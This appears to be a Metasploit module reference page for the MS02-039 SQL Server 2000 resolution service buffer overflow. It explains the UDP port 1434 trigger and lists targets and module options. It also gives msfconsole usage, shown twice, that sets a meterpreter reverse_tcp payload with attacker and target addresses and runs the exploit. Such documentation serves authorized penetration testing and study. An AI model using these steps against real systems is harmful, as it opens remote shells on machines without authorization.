Microsoft SQL Server Resolution Overflow
This is an exploit for the SQL Server 2000 resolution service buffer overflow. This overflow is triggered by sending a udp packet to port 1434 which starts with 0x04 and is followed by long string terminating with a colon and a number. This module should work against any vulnerable SQL Server 2000 or MSDE install (pre-SP3).
Exploit Rank
- Good
Exploit Authors
- hdm < hdm [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - MSSQL 2000 / MSDE <= SP2 (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/mssql/lyris_listmanager_weak_pass
- exploit/windows/mssql/ms02_056_hello
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli
- exploit/windows/mssql/mssql_payload
- exploit/windows/mssql/mssql_payload_sqli
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/mssql/ms02_039_slammer
msf exploit(ms02_039_slammer) > show payloads
msf exploit(ms02_039_slammer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms02_039_slammer) > set LHOST [MY IP ADDRESS]
msf exploit(ms02_039_slammer) > set RHOST [TARGET IP]
msf exploit(ms02_039_slammer) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/mssql/ms02_039_slammer
msf exploit(ms02_039_slammer) > show payloads
msf exploit(ms02_039_slammer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms02_039_slammer) > set LHOST [MY IP ADDRESS]
msf exploit(ms02_039_slammer) > set RHOST [TARGET IP]
msf exploit(ms02_039_slammer) > exploit
Exploit Module Options
| PASSWORD | The password for the specified username (default: ) |
| RHOST | The target address |
| RPORT | The target port (default: 1434) |
| USERNAME | The username to authenticate as (default: sa) |
| USE_WINDOWS_AUTHENT | Use windows authentification |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DOMAIN | The domain to use for windows authentication |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| HEX2BINARY | The path to the hex2binary script on the disk |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |